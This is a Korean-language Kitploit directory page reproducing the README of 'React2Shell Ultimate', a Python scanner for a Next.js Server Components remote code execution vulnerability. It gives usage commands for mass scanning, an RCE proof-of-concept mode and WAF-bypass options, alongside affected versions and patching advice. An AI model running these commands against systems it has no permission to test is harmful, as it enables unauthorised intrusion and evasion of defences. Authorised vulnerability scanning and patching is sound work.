Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
POC2-CVE-2025-55182 | Kitploit
도구/GitHubGitHub/iamblacksolo2-bugbounty/poc2-cve-2025-55182
Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationWAF BypassPenetration Testing
GitHubiamblacksolo2-bugbounty/poc2-cve-2025-55182

POC2-CVE-2025-55182

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
8개월 전아직 검토되지 않음

React2Shell Ultimate - CVE-2025-66478 스캐너

CVE-2025-66478 CVE-2025-55182 CVSS 10.0 Python 3.7+ MIT License

Next.js RSC 원격 코드 실행 취약점을 위한 가장 포괄적인 스캐너

root@kitploit:~
╔════════════════════════════════════════════════════════════════════════╗
║     ____                 _   ___  ____  _          _ _                 ║
║    |  _ \ ___  __ _  ___| |_|__ \/ ___|| |__   ___| | |                ║
║    | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | |                ║
║    |  _ <  __/ (_| | (__| |_ / /_ ___) | | | |  __/ | |                ║
║    |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_|                ║
║                                                                        ║
║            React2Shell Ultimate CVE-2025-66478 Scanner v1.0.0         ║
║          Next.js RSC Remote Code Execution Vulnerability               ║
╠════════════════════════════════════════════════════════════════════════╣
║                                                                        ║
║                                                                        ║
╠════════════════════════════════════════════════════════════════════════╣
║  Modes: --safe (side-channel) | --rce (PoC) | --version | --local      ║
║  WAF Bypass: --waf-bypass | --vercel-bypass | --unicode                ║
╚════════════════════════════════════════════════════════════════════════╝

🚨 취약점 개요

CVE-2025-66478(일명 CVE-2025-55182)은 React Server Components(RSC)를 사용하는 Next.js 애플리케이션에 영향을 주는 치명적인(CVSS 10.0) 원격 코드 실행 취약점입니다.

영향을 받는 버전

✨ 기능

이 도구는 여러 CVE-2025-66478 스캐너의 최고의 기능을 결합합니다:

🚀 설치

root@kitploit:~
# Clone the repository
git clone https://github.com/hackersatyamrastogi/react2shell-ultimate.git
cd react2shell-ultimate

# Install dependencies
pip install -r requirements.txt

# Or install manually
pip install requests tqdm

📖 사용법

기본 스캔

root@kitploit:~
# Version detection only (fastest, no exploitation)
python3 react2shell-ultimate.py -u https://target.com --version

# Safe side-channel detection (no code execution)
python3 react2shell-ultimate.py -u https://target.com --safe

# RCE proof-of-concept (executes harmless calculation: 41*271=11111)
python3 react2shell-ultimate.py -u https://target.com --rce

# Comprehensive scan with all bypass attempts
python3 react2shell-ultimate.py -u https://target.com --comprehensive

대량 스캔

root@kitploit:~
# Scan multiple targets from file
python3 react2shell-ultimate.py -l targets.txt -t 20 -o results.json

# Quiet mode - only show vulnerable hosts
python3 react2shell-ultimate.py -l targets.txt -q

# JSON output to stdout
python3 react2shell-ultimate.py -l targets.txt --json

로컬 프로젝트 스캔

root@kitploit:~
# Scan current directory
python3 react2shell-ultimate.py --local .

# Scan specific project path
python3 react2shell-ultimate.py --local /path/to/nextjs/projects

WAF 우회 기법

root@kitploit:~
# Junk data bypass (adds 128KB padding to evade content inspection)
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass

# Custom junk data size
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass --waf-bypass-size 256

# Unicode encoding bypass
python3 react2shell-ultimate.py -u https://target.com --rce --unicode

# Vercel-specific WAF bypass
python3 react2shell-ultimate.py -u https://target.com --rce --vercel-bypass

# Windows target (PowerShell payload)
python3 react2shell-ultimate.py -u https://target.com --rce --windows

고급 옵션

root@kitploit:~
# With proxy
python3 react2shell-ultimate.py -u https://target.com --rce --proxy http://127.0.0.1:8080

# Custom headers
python3 react2shell-ultimate.py -u https://target.com --rce -H "Authorization: Bearer token"

# Increased timeout
python3 react2shell-ultimate.py -u https://target.com --rce --timeout 30

# Verbose output
python3 react2shell-ultimate.py -u https://target.com --comprehensive -v

📋 명령줄 옵션

🔬 탐지 방법

1. 안전한 부채널 탐지 (--safe)

코드를 실행하지 않고 특정 오류 응답 패턴을 트리거합니다. 오류 처리 동작을 통해 취약한 RSC 구현을 식별합니다.

2. RCE 개념 증명 (--rce)

RCE 가능 여부를 확인하기 위해 무해한 수학적 계산(echo $((41*271)) = 11111)을 실행합니다. 결과는 X-Action-Redirect 헤더에 나타납니다.

3. 버전 탐지 (--version)

  • X-Powered-By 헤더에서 Next.js 버전 확인
  • RSC 지표를 위해 Vary 헤더 분석
  • RSC 엔드포인트에서 text/x-component 응답 확인
  • 페이지 소스에서 Next.js 핑거프린트 스캔

4. 로컬 스캔 (--local)

프로젝트 디렉터리에서 다음 항목을 스캔합니다:

  • package.json - 직접 종속성 선언
  • package-lock.json - NPM 잠금 파일
  • yarn.lock - Yarn 잠금 파일
  • pnpm-lock.yaml - PNPM 잠금 파일
  • bun.lockb - Bun 잠금 파일

📊 출력 예시

콘솔 출력

root@kitploit:~
[VULNERABLE] https://target.com
    Version: 15.3.1 | Status: 200 | Method: rce_poc
    WAF Bypass: SUCCESS

[NOT VULNERABLE] https://safe-target.com
    Version: 15.5.7 | Status: 200 | Method: http_headers

[WAF BLOCKED] https://protected.com
    Version: 15.2.0 | Status: 403 | Method: rce_poc
    WAF Detected: Exploit blocked

JSON 출력

root@kitploit:~
{
  "tool": "React2Shell Ultimate CVE-2025-66478 Scanner",
  "version": "1.0.0",
  "cve_ids": ["CVE-2025-55182", "CVE-2025-66478"],
  "scan_time": "2025-12-06T12:00:00Z",
  "total_results": 1,
  "results": [
    {
      "url": "https://target.com",
      "vulnerable": true,
      "version": "15.3.1",
      "status_code": 200,
      "detection_method": "rce_poc",
      "waf_detected": false,
      "waf_bypassed": false
    }
  ]
}

🛡️ 대응 방안

취약한 애플리케이션을 발견한 경우:

  1. 즉시 패치된 버전으로 업그레이드하세요:

    • Next.js 15.x → **15.5.7+**로 업그레이드 (또는 해당 마이너 버전의 패치 버전)
    • Next.js 16.x → **16.0.7+**로 업그레이드
  2. 임시 완화 조치:

    • Node.js 런타임 대신 Edge Runtime 사용
    • 필요하지 않으면 Server Actions 비활성화
    • RSC 페이로드 탐지 기능이 있는 WAF 뒤에 배포
  3. 로그에서 악용 시도를 모니터링하세요

📚 참고 자료

  • Next.js 보안 권고 - CVE-2025-66478
  • Assetnote 연구 - React2Shell
  • NVD - CVE-2025-66478

⚠️ 면책 조항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다.

  • 명시적 테스트 권한이 있는 시스템만 스캔하세요
  • RCE PoC 모드는 대상 시스템에서 코드를 실행합니다 (무해한 계산)
  • 컴퓨터 시스템에 대한 무단 접근은 불법입니다
  • 저자는 이 도구의 오용에 대해 책임을 지지 않습니다

📄 라이선스

MIT 라이선스 - 자세한 내용은 LICENSE 파일을 참조하세요.


⭐ 유용하다면 이 저장소에 Star를 남겨주세요! ⭐

도구 다운로드
버전 범위상태
Next.js 15.0.0 - 15.0.4⚠️ 취약
Next.js 15.1.0 - 15.1.8⚠️ 취약
Next.js 15.2.0 - 15.2.5⚠️ 취약
Next.js 15.3.0 - 15.3.5⚠️ 취약
Next.js 15.4.0 - 15.4.7⚠️ 취약
Next.js 15.5.0 - 15.5.6⚠️ 취약
Next.js 16.0.0 - 16.0.6⚠️ 취약
Next.js 14.3.0-canary.77+⚠️ 취약
Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7+✅ 패치됨
Next.js 16.0.7+✅ 패치됨
Next.js 13.x, 14.x stable✅ 영향 없음
기능설명
🔍 다중 모드 탐지안전한 부채널, RCE PoC, 버전 전용, 로컬 스캔
🛡️ WAF 우회 기법정크 데이터 패딩, 유니코드 인코딩, Vercel 전용 우회
📁 로컬 프로젝트 스캔package.json, 잠금 파일에서 취약한 종속성 스캔
⚡ 고성능구성 가능한 동시성을 갖춘 멀티스레드 스캔
📊 다중 출력 형식콘솔, JSON, 파일 내보내기
🎯 정확한 버전 탐지HTTP 헤더, RSC 핑거프린팅, 패치 버전 인식
옵션설명
-u, --url스캔할 단일 URL
-l, --listURL을 포함하는 파일 (한 줄에 하나)
--local로컬 프로젝트 디렉터리 스캔
--safe안전한 부채널 탐지 (RCE 없음)
--rceRCE 개념 증명(PoC) 모드
--version버전 탐지만 수행
--comprehensive모든 기법을 사용한 전체 스캔
--waf-bypassWAF 우회를 위한 정크 데이터 추가
--waf-bypass-size정크 데이터 크기(KB) (기본값: 128)
--unicodeWAF 우회를 위한 유니코드 인코딩
--vercel-bypassVercel 전용 WAF 우회
--windowsWindows PowerShell 페이로드 사용
-t, --threads동시 스레드 수 (기본값: 10)
--timeout요청 제한 시간(초) (기본값: 10)
-k, --insecureSSL 인증 비활성화
--proxy프록시 URL (http://host:port)
-H, --header사용자 정의 헤더 (반복 가능)
-o, --output출력 파일 (JSON)
--all-results취약한 결과만이 아닌 모든 결과 저장
-v, --verbose상세 출력
-q, --quiet취약한 호스트만 표시
--jsonstdout으로 JSON 출력
--no-color색상 출력 비활성화